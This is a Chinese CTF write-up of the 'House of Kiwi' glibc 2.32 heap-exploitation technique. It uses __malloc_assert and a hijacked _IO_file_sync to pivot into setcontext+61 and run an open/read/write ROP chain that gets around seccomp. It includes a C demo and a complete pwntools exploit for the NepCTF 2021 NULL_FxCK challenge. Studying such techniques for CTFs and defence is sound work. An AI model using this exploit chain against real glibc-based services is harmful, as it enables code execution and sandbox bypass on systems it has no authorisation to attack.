House_OF_Kiwi
CTF的Pwn题里面,通常就会遇到一些加了沙盒的题目,这种加沙盒的题目,在2.29之后的堆题中,通常为以下两种方式
-
劫持__free_hook,利用特定的gadget,将栈进行迁移
-
劫持__malloc_hook为setcontext+61的gadget,以及劫持IO_list_all单链表中的指针在exit结束中,在_IO_cleanup函数会进行缓冲区的刷新,从而读取flag
因为setcontext + 61从2.29之后变为由RDX寄存器控制寄存器了,所以需要控制RDX寄存器的指向的位置的部分数据
<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>
->
<setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>: push rcx
<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
<setcontext+332>: xor eax,eax
<setcontext+334>: ret
缺点 但是如果将exit函数替换成_exit函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用_IO_cleanup,若再将__malloc_hook和__free_hook给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区进行调用,这时候就涉及到ptmalloc源码里面了。
使用场景
1、能够触发__malloc_assert,通常是堆溢出导致 2、能够任意写,修改_IO_file_sync和IO_helper_jumps + 0xA0 and 0xA8 __malloc_assert
GLIBC 2.32/malloc.c:288
glibc中ptmalloc部分,从以前到现在都存在一个assret断言的问题,此处存在一个fflush(stderr)的函数调用,其中会调用_IO_file_jumps中的sync指针static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
如何触发assert?在_int_malloc中存在一个 assert (chunk_main_arena (bck->bk));位置可以触发,此外当top_chunk的大小不够分配时,则会进入sysmalloc中 GLIBC 2.32/malloc.c:2394 ......
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
......
此处会对top_chunk的size|flags进行assert判断
-
old_size >= 0x20;
-
old_top.prev_inuse = 0;
-
old_top页对齐
通过这里也可以触发assert
下面手动实现进入assert后,可以想到fflush和fxprintf都和IO有关,可能需要涉及IO,一步步调试看看可以发现在fflush函数中调用到了一个指针:位于_IO_file_jumps中的_IO_file_sync指针,且观察发现RDX寄存器的值为IO_helper_jumps指针,多次调试发现RDX始终是一个固定的地址
如果存在一个任意写,通过修改 _IO_file_jumps + 0x60的_IO_file_sync指针为setcontext+61
修改IO_helper_jumps + 0xA0 and 0xA8分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移
一个简单的演示用的DEMO
// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>#include <assert.h>#include <unistd.h>#include <sys/prctl.h>#include <linux/filter.h>#include <linux/seccomp.h>#define pop_rdi_ret libc_base + 0x000000000002858F#define pop_rdx_r12 libc_base + 0x0000000000114161#define pop_rsi_ret libc_base + 0x000000000002AC3F#define pop_rax_ret libc_base + 0x0000000000045580#define syscall_ret libc_base + 0x00000000000611EA#define ret pop_rdi_ret+1size_t libc_base;size_t ROP[0x30];char FLAG[0x100] = "./flag.txtx00";void sandbox(){
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
}; struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}void setROP(){ uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x81630; printf("LIBC:t%#lxn",libc_base); size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
per_jumps; size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
*((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
malloc(0x1000); // 触发assert
_exit(-1);
}
以NepCTF 2021年中NULL_FxCK为例
程序实现了一个简单的增删查改功能,在edit的时候存在一个off by null的漏洞利用,因为环境是GLIBC 2.32,其中tcache chunk的fd进行了一个异或处理
所以此前通过tcache bin、fastbin 以及 large bin共同进行的fake chunk的伪造不可行,下面则是
-
仅large bin chunk的堆块伪造,并即可实现堆块重叠
-
并large bin attack 任意写攻击TLS结构体中的存放tcache结构体指针的位置,从而可以伪造tcache bin结构体进行任意构造
-
再通过上述demo任意写控制参数,从而在assert后即可进行栈迁移
from pwn import*
context.binary = './main'
def menu(ch):
p.sendlineafter('>> ',str(ch))
def New(size,content):
menu(1)
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
def Modify(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content)
def Show(index):
menu(4)
p.sendlineafter('Index: ',str(index))
def Free(index):
menu(3)
p.sendlineafter('Index: ',str(index))
libc = ELF('./libc-2.32.so')
while True:
p = remote('node2.hackingfor.fun',38734)
try:
New(0x2000,'FMYY')
New(0x1000,'FMYY')
New(0x2000 - 0x2F0 - 0x600,'FMYY')
New(0x4F0,'FMYY') #3
New(0x108,'FMYY')
New(0x500,'FMYY') #5
New(0x108,'FMYY') #6 - 7 -8
New(0x108,'FMYY')
New(0x108,'FMYY')
New(0x510,'FMYY') #9
New(0x108,'FMYY')
New(0x4F0,'FMYY') #11
New(0x108,'FMYY') #12
Free(3)
Free(5)
Free(9)
New(0x2000,'FMYY')
Free(3)
New(0x500,'x00'*8 + p64(0xE61)) # 3
New(0x4F0,'x00'*8+ 'x10x00') # 5
Free(11)
New(0x800,'FMYY') # 9
Free(9)
New(0x510,'x10x00') #9
New(0x4F0,'x00'*0x20) #11
Modify(10,'x00'*0x100 + p64(0xE60))
Free(11)
New(0x4F0,'FMYY') # to split the unsorted bin chunk
New(0x1000,'FMYY')
Show(6)
libc_base = u64(p.recvuntil('x7F')[-6:].ljust(8,'x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
log.info('LIBC:t' + hex(libc_base))
Show(9)
heap_base = u64(p.recv(6).ljust(8,'x00')) - 0x49F0
log.info('HEAP:t' + hex(heap_base))
############################
SROP_address = heap_base + 0x79F0
magic = libc_base + 0x1EB538
main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
pop_rdi_ret = libc_base + 0x000000000002858F
pop_rdx_r12 = libc_base + 0x0000000000114161
pop_rsi_ret = libc_base + 0x000000000002AC3F
pop_rax_ret = libc_base + 0x0000000000045580
syscall_ret = libc_base + 0x00000000000611EA
malloc_hook = libc_base + libc.sym['__malloc_hook']
frame = SigreturnFrame()
frame.rsp = heap_base + 0x7A90 + 0x58
frame.rip = pop_rdi_ret + 1
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Write = libc_base + libc.symbols['write']
orw = ''
orw += p64(pop_rax_ret) + p64(2)
orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(1)
orw += p64(Write)
orw += './flag.txtx00x00'
IO_helper_jumps = libc_base + 0x1E38C0
###################################
New(0x130,'x00'*0x108 + p64(0x4B1)) #14
New(0x440,'FMYY') #15
New(0x8B0,'x00'*0x20 + p64(0x21)*8) #16
New(0x430,'FMYY') #17
New(0x108,'FMYY') #18
Free(15)
######
New(0x800,'FMYY')
Free(15)
######
Free(7)
New(0x4A0,'x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20))
Free(17)
New(0x800,str(frame) + orw)
Free(15)
New(0x430,'FMYY')
Free(7)
New(0x4A0,'x00'*0x30 + 'x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)
Free(0)
Free(1)
New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
New(0x208,str(frame)[0xA0:])
menu(1)
p.sendafter('Size:',str(0x428))
break
except:
p.close()
p.interactive()
总结
主要是相对于之前的两种方法而言,运用要简单需要,平常喜欢IO的一些知识,偶然发现的,侵删。
- End - 精彩推荐 【技术分享】CDN安全论文复现-RangeAmp攻击 壳牌披露数据泄露,源头竟是“猪队友”Accellion 【技术分享】从浅入深学习PHP文件包含 【技术分享】某游戏xLua分析
戳“阅读原文”前往安全客官网 本文始发于微信公众号(安全客):【技术分享】House OF Kiwi
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论